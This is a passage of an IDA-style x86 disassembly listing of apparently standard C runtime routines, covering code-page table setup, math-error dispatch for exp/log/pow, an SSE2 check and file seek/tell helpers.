dword_47A504, esi mov dword_47A3E8, ebx jbe loc_419422 cmp [ebp+var_16], 0 jz loc_4193FA lea ecx, [ebp+var_15] loc_419343: ; CODE XREF: sub_4192C7+12Dj mov dl, [ecx] test dl, dl jz loc_4193FA movzx eax, byte ptr [ecx-1] movzx edx, dl jmp loc_4193EA ; --------------------------------------------------------------------------- loc_419359: ; CODE XREF: sub_4192C7+2Bj push 40h xor eax, eax pop ecx mov edi, offset byte_47A400 rep stosd lea ecx, [edx+edx*2] shl ecx, 4 mov [ebp+var_8], ebx stosb lea ebx, dword_42CE68[ecx] loc_419375: ; CODE XREF: sub_4192C7+EBj mov al, [ebx] mov esi, ebx jmp short loc_4193A4 ; --------------------------------------------------------------------------- loc_41937B: ; CODE XREF: sub_4192C7+DFj mov dl, [esi+1] test dl, dl jz short loc_4193A8 movzx eax, al movzx edi, dl cmp eax, edi ja short loc_4193A0 mov edx, [ebp+var_8] mov dl, byte_42CE50[edx] loc_419395: ; CODE XREF: sub_4192C7+D7j or byte_47A401[eax], dl inc eax cmp eax, edi jbe short loc_419395 loc_4193A0: ; CODE XREF: sub_4192C7+C3j inc esi inc esi mov al, [esi] loc_4193A4: ; CODE XREF: sub_4192C7+B2j test al, al jnz short loc_41937B loc_4193A8: ; CODE XREF: sub_4192C7+B9j inc [ebp+var_8] add ebx, 8 cmp [ebp+var_8], 4 jb short loc_419375 mov eax, [ebp+arg_0] mov dword_47A504, eax mov dword_47A3F0, 1 call sub_41906E lea ecx, dword_42CE5C[ecx] mov esi, ecx mov edi, offset word_47A510 movsd movsd mov dword_47A3E8, eax movsd jmp short loc_419441 ; --------------------------------------------------------------------------- loc_4193E2: ; CODE XREF: sub_4192C7+125j or byte_47A401[eax], 4 inc eax loc_4193EA: ; CODE XREF: sub_4192C7+8Dj cmp eax, edx jbe short loc_4193E2 inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_419343 loc_4193FA: ; CODE XREF: sub_4192C7+73j ; sub_4192C7+80j xor ecx, ecx inc ecx mov eax, ecx loc_4193FF: ; CODE XREF: sub_4192C7+145j or byte_47A401[eax], 8 inc eax cmp eax, 0FFh jb short loc_4193FF mov eax, esi call sub_41906E mov dword_47A3E8, eax mov dword_47A3F0, ecx jmp short loc_419428 ; --------------------------------------------------------------------------- loc_419422: ; CODE XREF: sub_4192C7+69j mov dword_47A3F0, ebx loc_419428: ; CODE XREF: sub_4192C7+159j xor eax, eax mov edi, offset word_47A510 stosd stosd stosd jmp short loc_419441 ; --------------------------------------------------------------------------- loc_419434: ; CODE XREF: sub_4192C7+46j cmp dword_47A024, ebx jz short loc_41944A loc_41943C: ; CODE XREF: sub_4192C7+1Bj call sub_41909D loc_419441: ; CODE XREF: sub_4192C7+119j ; sub_4192C7+16Bj call sub_4190C6 xor eax, eax jmp short loc_41944D ; --------------------------------------------------------------------------- loc_41944A: ; CODE XREF: sub_4192C7+173j or eax, 0FFFFFFFFh loc_41944D: ; CODE XREF: sub_4192C7+181j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_4182D6 leave retn sub_4192C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41945D proc near ; CODE XREF: sub_4195AD+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 14h push offset stru_427F78 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh push 0Dh call sub_416901 pop ecx xor edi, edi mov [ebp+ms_exc.disabled], edi mov dword_47A024, edi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_41949A mov dword_47A024, 1 call ds:dword_41F188 jmp short loc_4194C5 ; --------------------------------------------------------------------------- loc_41949A: ; CODE XREF: sub_41945D+29j cmp eax, 0FFFFFFFDh jnz short loc_4194B1 mov dword_47A024, 1 call ds:dword_41F184 jmp short loc_4194C5 ; --------------------------------------------------------------------------- loc_4194B1: ; CODE XREF: sub_41945D+40j cmp eax, 0FFFFFFFCh jnz short loc_4194C5 mov dword_47A024, 1 mov eax, dword_47A188 loc_4194C5: ; CODE XREF: sub_41945D+3Bj ; sub_41945D+52j ... mov [ebp+arg_0], eax cmp eax, dword_47A504 jz loc_41958F mov esi, dword_47A3EC mov [ebp+var_20], esi cmp esi, edi jz short loc_4194E5 cmp [esi], edi jz short loc_4194F5 loc_4194E5: ; CODE XREF: sub_41945D+82j push 220h call sub_41344D pop ecx mov esi, eax mov [ebp+var_20], esi loc_4194F5: ; CODE XREF: sub_41945D+86j cmp esi, edi jz short loc_419578 push [ebp+arg_0] call sub_4192C7 pop ecx mov [ebp+var_1C], eax cmp eax, edi jnz short loc_419578 mov [esi], edi mov eax, dword_47A504 mov [esi+4], eax mov eax, dword_47A3F0 mov [esi+8], eax mov eax, dword_47A3E8 mov [esi+0Ch], eax xor eax, eax loc_419525: ; CODE XREF: sub_41945D+DEj mov [ebp+var_24], eax cmp eax, 5 jge short loc_41953D mov cx, word_47A510[eax*2] mov [esi+eax*2+10h], cx inc eax jmp short loc_419525 ; --------------------------------------------------------------------------- loc_41953D: ; CODE XREF: sub_41945D+CEj xor eax, eax loc_41953F: ; CODE XREF: sub_41945D+F7j mov [ebp+var_24], eax cmp eax, 101h jge short loc_419556 mov cl, byte_47A400[eax] mov [eax+esi+1Ch], cl inc eax jmp short loc_41953F ; --------------------------------------------------------------------------- loc_419556: ; CODE XREF: sub_41945D+EAj xor eax, eax loc_419558: ; CODE XREF: sub_41945D+113j mov [ebp+var_24], eax cmp eax, 100h jge short loc_419572 mov cl, byte_47A520[eax] mov [eax+esi+11Dh], cl inc eax jmp short loc_419558 ; --------------------------------------------------------------------------- loc_419572: ; CODE XREF: sub_41945D+103j mov dword_47A3EC, esi loc_419578: ; CODE XREF: sub_41945D+9Aj ; sub_41945D+AAj cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_419592 cmp esi, dword_47A3EC jz short loc_419592 push esi call sub_412FE4 pop ecx jmp short loc_419592 ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41945D+71j mov [ebp+var_1C], edi loc_419592: ; CODE XREF: sub_41945D+11Fj ; sub_41945D+127j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4195A4 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41945D endp ; =============== S U B R O U T I N E ======================================= sub_4195A4 proc near ; CODE XREF: sub_41945D+139p ; DATA XREF: .rdata:stru_427F78o push 0Dh call sub_41686D pop ecx retn sub_4195A4 endp ; =============== S U B R O U T I N E ======================================= sub_4195AD proc near ; CODE XREF: sub_41A15E+9p ; sub_41A1C7+Dp ... cmp dword_47B674, 0 jnz short loc_4195C8 push 0FFFFFFFDh call sub_41945D pop ecx mov dword_47B674, 1 loc_4195C8: ; CODE XREF: sub_4195AD+7j xor eax, eax retn sub_4195AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4195CB proc near ; CODE XREF: sub_4141AD+2Cp ; sub_4141AD+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi call sub_415456 mov eax, [eax+60h] cmp eax, dword_47A3EC jz short loc_4195EA call sub_419258 loc_4195EA: ; CODE XREF: sub_4195CB+18j cmp dword ptr [eax+8], 0 jnz short loc_419601 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_412C40 add esp, 0Ch jmp short loc_419649 ; --------------------------------------------------------------------------- loc_419601: ; CODE XREF: sub_4195CB+23j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_419646 push ebx push esi mov esi, [ebp+arg_4] loc_41960D: ; CODE XREF: sub_4195CB+89j mov dl, [esi] movzx ebx, dl dec ecx test byte ptr [ebx+eax+1Dh], 4 mov [edi], dl jz short loc_41964C inc edi inc esi test ecx, ecx jz short loc_419658 mov dl, [esi] dec ecx mov [edi], dl inc edi inc esi test dl, dl jnz short loc_419652 and [edi-2], dl loc_419630: ; CODE XREF: sub_4195CB+85j test ecx, ecx jz short loc_419644 mov edx, ecx shr ecx, 2 xor eax, eax rep stosd mov ecx, edx and ecx, 3 rep stosb loc_419644: ; CODE XREF: sub_4195CB+67j ; sub_4195CB+8Bj ... pop esi pop ebx loc_419646: ; CODE XREF: sub_4195CB+3Bj mov eax, [ebp+arg_0] loc_419649: ; CODE XREF: sub_4195CB+34j pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_41964C: ; CODE XREF: sub_4195CB+4Fj inc edi inc esi test dl, dl jz short loc_419630 loc_419652: ; CODE XREF: sub_4195CB+60j test ecx, ecx jnz short loc_41960D jmp short loc_419644 ; --------------------------------------------------------------------------- loc_419658: ; CODE XREF: sub_4195CB+55j and byte ptr [edi-1], 0 jmp short loc_419644 sub_4195CB endp ; =============== S U B R O U T I N E ======================================= sub_41965E proc near ; CODE XREF: sub_419706+18p push esi push dword_47B670 call sub_41CE2D pop ecx mov ecx, dword_47B66C mov esi, eax mov eax, dword_47B670 mov edx, ecx sub edx, eax add edx, 4 cmp esi, edx jnb short loc_4196D1 mov ecx, 800h cmp esi, ecx jnb short loc_41968E mov ecx, esi loc_41968E: ; CODE XREF: sub_41965E+2Cj add ecx, esi push ecx push eax call sub_41318A test eax, eax pop ecx pop ecx jnz short loc_4196B4 add esi, 10h push esi push dword_47B670 call sub_41318A test eax, eax pop ecx pop ecx jnz short loc_4196B4 pop esi retn ; --------------------------------------------------------------------------- loc_4196B4: ; CODE XREF: sub_41965E+3Dj ; sub_41965E+52j mov ecx, dword_47B66C sub ecx, dword_47B670 mov dword_47B670, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_47B66C, ecx loc_4196D1: ; CODE XREF: sub_41965E+23j mov [ecx], edi add dword_47B66C, 4 mov eax, edi pop esi retn sub_41965E endp ; =============== S U B R O U T I N E ======================================= sub_4196DE proc near ; DATA XREF: .data:0042A018o push 80h call sub_41344D test eax, eax pop ecx mov dword_47B670, eax jnz short loc_4196F6 push 18h pop eax retn ; --------------------------------------------------------------------------- loc_4196F6: ; CODE XREF: sub_4196DE+12j and dword ptr [eax], 0 mov eax, dword_47B670 mov dword_47B66C, eax xor eax, eax retn sub_4196DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419706 proc near ; CODE XREF: sub_41973E+4p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_427F88 call __SEH_prolog call loc_4143E9 and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_0] call sub_41965E mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_419738 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_419706 endp ; =============== S U B R O U T I N E ======================================= sub_419738 proc near ; CODE XREF: sub_419706+24p ; DATA XREF: .rdata:stru_427F88o call sub_4143F2 retn sub_419738 endp ; =============== S U B R O U T I N E ======================================= sub_41973E proc near ; CODE XREF: sub_4143FB+3Bp arg_0 = dword ptr 4 push [esp+arg_0] call sub_419706 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_41973E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419750 proc near ; CODE XREF: .text:loc_414A16p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_427F98 call __SEH_prolog mov [ebp+var_1C], offset dword_4288D0 loc_419763: ; CODE XREF: sub_419750+3Cj cmp [ebp+var_1C], offset dword_4288D0 jnb short loc_41978E and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_419784 call eax jmp short loc_419784 ; --------------------------------------------------------------------------- loc_41977D: ; DATA XREF: .rdata:stru_427F98o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_419781: ; DATA XREF: .rdata:stru_427F98o mov esp, [ebp+ms_exc.old_esp] loc_419784: ; CODE XREF: sub_419750+27j ; sub_419750+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_419763 ; --------------------------------------------------------------------------- loc_41978E: ; CODE XREF: sub_419750+1Aj call __SEH_epilog retn sub_419750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419794 proc near ; DATA XREF: sub_4143FB:loc_414431o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_427FA8 call __SEH_prolog mov [ebp+var_1C], offset dword_4288D8 loc_4197A7: ; CODE XREF: sub_419794+3Cj cmp [ebp+var_1C], offset dword_4288D8 jnb short loc_4197D2 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_4197C8 call eax jmp short loc_4197C8 ; --------------------------------------------------------------------------- loc_4197C1: ; DATA XREF: .rdata:stru_427FA8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4197C5: ; DATA XREF: .rdata:stru_427FA8o mov esp, [ebp+ms_exc.old_esp] loc_4197C8: ; CODE XREF: sub_419794+27j ; sub_419794+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_4197D2: ; CODE XREF: sub_419794+1Aj call __SEH_epilog retn sub_419794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197D8 proc near ; CODE XREF: sub_414670+B5p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, dword_42CE38 xor eax, [ebp+4] mov ecx, 0A1h mov [ebp+var_4], eax mov eax, [ebp+arg_C] cmp eax, ecx push esi jg loc_41990D jz loc_419901 cmp eax, 18h jg loc_419891 jz short loc_41987E push 2 pop ecx sub eax, ecx jz short loc_41986F dec eax jz short loc_419863 sub eax, 5 jz short loc_419854 dec eax jz short loc_419848 sub eax, 5 jz short loc_419835 dec eax jnz loc_419A5E mov [ebp+var_20], offset aExp ; "exp" jmp loc_4198D2 ; --------------------------------------------------------------------------- loc_419835: ; CODE XREF: sub_4197D8+48j mov [ebp+var_24], 3 mov [ebp+var_20], offset aExp ; "exp" jmp loc_419994 ; --------------------------------------------------------------------------- loc_419848: ; CODE XREF: sub_4197D8+43j mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_4199FB ; --------------------------------------------------------------------------- loc_419854: ; CODE XREF: sub_4197D8+40j mov [ebp+var_24], ecx mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_419994 ; --------------------------------------------------------------------------- loc_419863: ; CODE XREF: sub_4197D8+3Bj mov [ebp+var_20], offset aLog_0 ; "log" jmp loc_4199FB ; --------------------------------------------------------------------------- loc_41986F: ; CODE XREF: sub_4197D8+38j mov [ebp+var_24], ecx mov [ebp+var_20], offset aLog_0 ; "log" jmp loc_419994 ; --------------------------------------------------------------------------- loc_41987E: ; CODE XREF: sub_4197D8+31j mov [ebp+var_24], 3 loc_419885: ; CODE XREF: sub_4197D8+E5j mov [ebp+var_20], offset aPow ; "pow" jmp loc_419994 ; --------------------------------------------------------------------------- loc_419891: ; CODE XREF: sub_4197D8+2Bj sub eax, 19h jz short loc_4198CB dec eax jz short loc_4198BF dec eax jz short loc_4198B6 dec eax jz loc_4199F4 dec eax jnz loc_419A5E mov [ebp+var_20], offset aPow ; "pow" jmp loc_419A1C ; --------------------------------------------------------------------------- loc_4198B6: ; CODE XREF: sub_4197D8+C2j mov [ebp+var_24], 2 jmp short loc_419885 ; --------------------------------------------------------------------------- loc_4198BF: ; CODE XREF: sub_4197D8+BFj mov eax, [ebp+arg_8] fld1 fstp qword ptr [eax] jmp loc_419A5E ; --------------------------------------------------------------------------- loc_4198CB: ; CODE XREF: sub_4197D8+BCj mov [ebp+var_20], offset aPow ; "pow" loc_4198D2: ; CODE XREF: sub_4197D8+58j mov eax, [ebp+arg_0] fld qword ptr [eax] mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] fstp [ebp+var_1C] fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] mov [ebp+var_24], 4 fstp [ebp+var_C] call off_42CF48 pop ecx jmp loc_419A59 ; --------------------------------------------------------------------------- loc_419901: ; CODE XREF: sub_4197D8+22j mov [ebp+var_24], 3 jmp loc_41998D ; --------------------------------------------------------------------------- loc_41990D: ; CODE XREF: sub_4197D8+1Cj mov ecx, 3EAh cmp eax, ecx jg loc_4199D8 jz loc_4199CF sub eax, 0A2h jz short loc_419986 sub eax, 4 jz short loc_419976 sub eax, 4 jz short loc_419966 dec eax jz short loc_41995A sub eax, 33Dh jz short loc_41994E dec eax jnz loc_419A5E mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_419A1C ; --------------------------------------------------------------------------- loc_41994E: ; CODE XREF: sub_4197D8+161j mov [ebp+var_20], offset aLog_0 ; "log" jmp loc_419A1C ; --------------------------------------------------------------------------- loc_41995A: ; CODE XREF: sub_4197D8+15Aj mov [ebp+var_20], offset aLog2 ; "log2" jmp loc_4199FB ; --------------------------------------------------------------------------- loc_419966: ; CODE XREF: sub_4197D8+157j mov [ebp+var_24], 2 mov [ebp+var_20], offset aLog2 ; "log2" jmp short loc_419994 ; --------------------------------------------------------------------------- loc_419976: ; CODE XREF: sub_4197D8+152j mov [ebp+var_24], 3 mov [ebp+var_20], offset aExp10 ; "exp10" jmp short loc_419994 ; --------------------------------------------------------------------------- loc_419986: ; CODE XREF: sub_4197D8+14Dj mov [ebp+var_24], 4 loc_41998D: ; CODE XREF: sub_4197D8+130j mov [ebp+var_20], offset aExp2 ; "exp2" loc_419994: ; CODE XREF: sub_4197D8+6Bj ; sub_4197D8+86j ... mov eax, [ebp+arg_0] fld qword ptr [eax] mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] fstp [ebp+var_1C] fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] fstp [ebp+var_C] call off_42CF48 test eax, eax pop ecx jnz loc_419A59 call sub_417C70 mov dword ptr [eax], 22h jmp loc_419A59 ; --------------------------------------------------------------------------- loc_4199CF: ; CODE XREF: sub_4197D8+142j mov [ebp+var_20], offset aExp ; "exp" jmp short loc_419A1C ; --------------------------------------------------------------------------- loc_4199D8: ; CODE XREF: sub_4197D8+13Cj sub eax, 3EBh jz short loc_419A15 dec eax jz short loc_419A0C dec eax jz short loc_419A03 dec eax jz short loc_4199F4 dec eax jnz short loc_419A5E mov [ebp+var_20], offset aModf ; "modf" jmp short loc_419A1C ; --------------------------------------------------------------------------- loc_4199F4: ; CODE XREF: sub_4197D8+C5j ; sub_4197D8+20Ej mov [ebp+var_20], offset aPow ; "pow" loc_4199FB: ; CODE XREF: sub_4197D8+77j ; sub_4197D8+92j ... mov eax, [ebp+arg_0] mov esi, [ebp+arg_8] jmp short loc_419A26 ; --------------------------------------------------------------------------- loc_419A03: ; CODE XREF: sub_4197D8+20Bj mov [ebp+var_20], offset aFloor ; "floor" jmp short loc_419A1C ; --------------------------------------------------------------------------- loc_419A0C: ; CODE XREF: sub_4197D8+208j mov [ebp+var_20], offset aCeil ; "ceil" jmp short loc_419A1C ; --------------------------------------------------------------------------- loc_419A15: ; CODE XREF: sub_4197D8+205j mov [ebp+var_20], offset aAtan ; "atan" loc_419A1C: ; CODE XREF: sub_4197D8+D9j ; sub_4197D8+171j ... mov eax, [ebp+arg_0] fld qword ptr [eax] mov esi, [ebp+arg_8] fstp qword ptr [esi] loc_419A26: ; CODE XREF: sub_4197D8+229j fld qword ptr [eax] mov eax, [ebp+arg_4] fstp [ebp+var_1C] mov [ebp+var_24], 1 fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] fstp [ebp+var_C] call off_42CF48 test eax, eax pop ecx jnz short loc_419A59 call sub_417C70 mov dword ptr [eax], 21h loc_419A59: ; CODE XREF: sub_4197D8+124j ; sub_4197D8+1E1j ... fld [ebp+var_C] fstp qword ptr [esi] loc_419A5E: ; CODE XREF: sub_4197D8+4Bj ; sub_4197D8+CCj ... mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop esi call sub_4182D6 leave retn sub_4197D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A6C proc near ; CODE XREF: sub_419AA1+3Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_428068 call __SEH_prolog and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 movapd xmm0, xmm1 mov [ebp+var_1C], 1 jmp short loc_419A94 ; --------------------------------------------------------------------------- loc_419A8D: ; DATA XREF: .rdata:stru_428068o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_419A91: ; DATA XREF: .rdata:stru_428068o mov esp, [ebp+ms_exc.old_esp] loc_419A94: ; CODE XREF: sub_419A6C+1Fj or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_419A6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AA1 proc near ; DATA XREF: .data:0042A01Co var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push ebx push edi push esi pushf pop eax mov ecx, eax xor eax, 200000h push eax popf pushf pop edx sub edx, ecx jz short loc_419AC4 push ecx popf mov eax, 1 cpuid loc_419AC4: ; CODE XREF: sub_419AA1+18j mov [ebp+var_4], edx and dword_47A3E4, 0 and dword_47A3E0, 0 test byte ptr [ebp+var_4+3], 4 jz short loc_419AF1 call sub_419A6C test eax, eax jz short loc_419AF1 xor eax, eax inc eax mov dword_47A3E4, eax mov dword_47A3E0, eax loc_419AF1: ; CODE XREF: sub_419AA1+38j ; sub_419AA1+41j xor eax, eax pop esi pop edi pop ebx leave retn sub_419AA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419AF8(double) sub_419AF8 proc near ; CODE XREF: sub_414670+7j ; sub_414670+38j var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_42CF4C call sub_41D6DE fld [ebp+arg_0] pop ecx pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] push ecx and ax, 7FF0h cmp ax, 7FF0h push ecx fstp [esp+18h+var_18] jnz short loc_419B7E call sub_41D5AE test eax, eax pop ecx pop ecx jle short loc_419B61 cmp eax, 2 jle short loc_419B53 cmp eax, 3 jnz short loc_419B61 fld [ebp+arg_0] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] push 0Bh ; int call sub_41D460 add esp, 10h jmp short loc_419BC5 ; --------------------------------------------------------------------------- loc_419B53: ; CODE XREF: sub_419AF8+3Fj push esi push ebx call sub_41D6DE fld [ebp+arg_0] pop ecx pop ecx jmp short loc_419BC5 ; --------------------------------------------------------------------------- loc_419B61: ; CODE XREF: sub_419AF8+3Aj ; sub_419AF8+44j fld [ebp+arg_0] push ebx fadd ds:dbl_427A70 sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_419BBD ; --------------------------------------------------------------------------- loc_419B7E: ; CODE XREF: sub_419AF8+2Fj call sub_41D571 fstp [ebp+var_8] fld [ebp+var_8] pop ecx fcomp [ebp+arg_0] pop ecx fnstsw ax test ah, 44h jp short loc_419BA3 loc_419B95: ; CODE XREF: sub_419AF8+AEj push esi push ebx call sub_41D6DE fld [ebp+var_8] pop ecx pop ecx jmp short loc_419BC5 ; --------------------------------------------------------------------------- loc_419BA3: ; CODE XREF: sub_419AF8+9Bj test bl, 20h jnz short loc_419B95 fld [ebp+var_8] push ebx ; int sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_419BBD: ; CODE XREF: sub_419AF8+84j call sub_41D4B3 add esp, 1Ch loc_419BC5: ; CODE XREF: sub_419AF8+59j ; sub_419AF8+67j ... pop esi pop ebx leave retn sub_419AF8 endp ; =============== S U B R O U T I N E ======================================= sub_419BC9 proc near ; CODE XREF: sub_417536+18Bp ; sub_419C3D+52p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push esi call sub_41B76B cmp eax, 0FFFFFFFFh pop ecx jnz short loc_419BEA call sub_417C70 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419BEA: ; CODE XREF: sub_419BC9+Fj push edi push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call ds:dword_41F05C mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_419C0B call ds:dword_41F008 jmp short loc_419C0D ; --------------------------------------------------------------------------- loc_419C0B: ; CODE XREF: sub_419BC9+38j xor eax, eax loc_419C0D: ; CODE XREF: sub_419BC9+40j test eax, eax jz short loc_419C1D push eax call sub_417C82 pop ecx or eax, 0FFFFFFFFh jmp short loc_419C3A ; --------------------------------------------------------------------------- loc_419C1D: ; CODE XREF: sub_419BC9+46j mov ecx, esi and esi, 1Fh sar ecx, 5 mov ecx, dword_47A2E0[ecx*4] mov eax, esi lea eax, [eax+eax*8] lea eax, [ecx+eax*4+4] and byte ptr [eax], 0FDh mov eax, edi loc_419C3A: ; CODE XREF: sub_419BC9+52j pop edi pop esi retn sub_419BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C3D proc near ; CODE XREF: sub_414809+69p ; sub_414AFC+D0p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00419CCC SIZE 0000001C BYTES push 0Ch push offset stru_428078 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47A2C8 jnb short loc_419CCC mov eax, ebx sar eax, 5 lea edi, ds:47A2E0h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_419CCC push ebx call sub_41B7AC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_419C9C push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_419BC9 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_419CB3 ; --------------------------------------------------------------------------- loc_419C9C: ; CODE XREF: sub_419C3D+49j call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_419CB3: ; CODE XREF: sub_419C3D+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_419CC4 mov eax, [ebp+var_1C] jmp short loc_419CE2 sub_419C3D endp ; =============== S U B R O U T I N E ======================================= sub_419CC1 proc near ; DATA XREF: .rdata:stru_428078o mov ebx, [ebp+8] sub_419CC1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419CC4 proc near ; CODE XREF: sub_419C3D+7Ap push ebx call sub_41B81F pop ecx retn sub_419CC4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419C3D loc_419CCC: ; CODE XREF: sub_419C3D+15j ; sub_419C3D+35j call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_419CE2: ; CODE XREF: sub_419C3D+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_419C3D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CE8 proc near ; CODE XREF: sub_414809+2Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+10h] xor ebx, ebx cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_419D04 mov [edi+4], ebx loc_419D04: ; CODE XREF: sub_419CE8+17j push 1 push ebx push esi call sub_419C3D add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_419D85 mov ecx, [edi+0Ch] test cx, 108h jnz short loc_419D29 sub eax, [edi+4] jmp loc_419E45 ; --------------------------------------------------------------------------- loc_419D29: ; CODE XREF: sub_419CE8+37j mov eax, [edi] mov edx, [edi+8] mov ebx, eax sub ebx, edx test cl, 3 mov [ebp+var_8], ebx jz short loc_419D76 mov ebx, esi mov ecx, esi sar ebx, 5 mov ebx, dword_47A2E0[ebx*4] and ecx, 1Fh lea ecx, [ecx+ecx*8] test byte ptr [ebx+ecx*4+4], 80h jz short loc_419D68 mov ecx, edx cmp ecx, eax jnb short loc_419D68 loc_419D5B: ; CODE XREF: sub_419CE8+7Ej cmp byte ptr [ecx], 0Ah jnz short loc_419D63 inc [ebp+var_8] loc_419D63: ; CODE XREF: sub_419CE8+76j inc ecx cmp ecx, [edi] jb short loc_419D5B loc_419D68: ; CODE XREF: sub_419CE8+6Bj ; sub_419CE8+71j ... cmp [ebp+var_4], 0 jnz short loc_419D8D mov eax, [ebp+var_8] jmp loc_419E45 ; --------------------------------------------------------------------------- loc_419D76: ; CODE 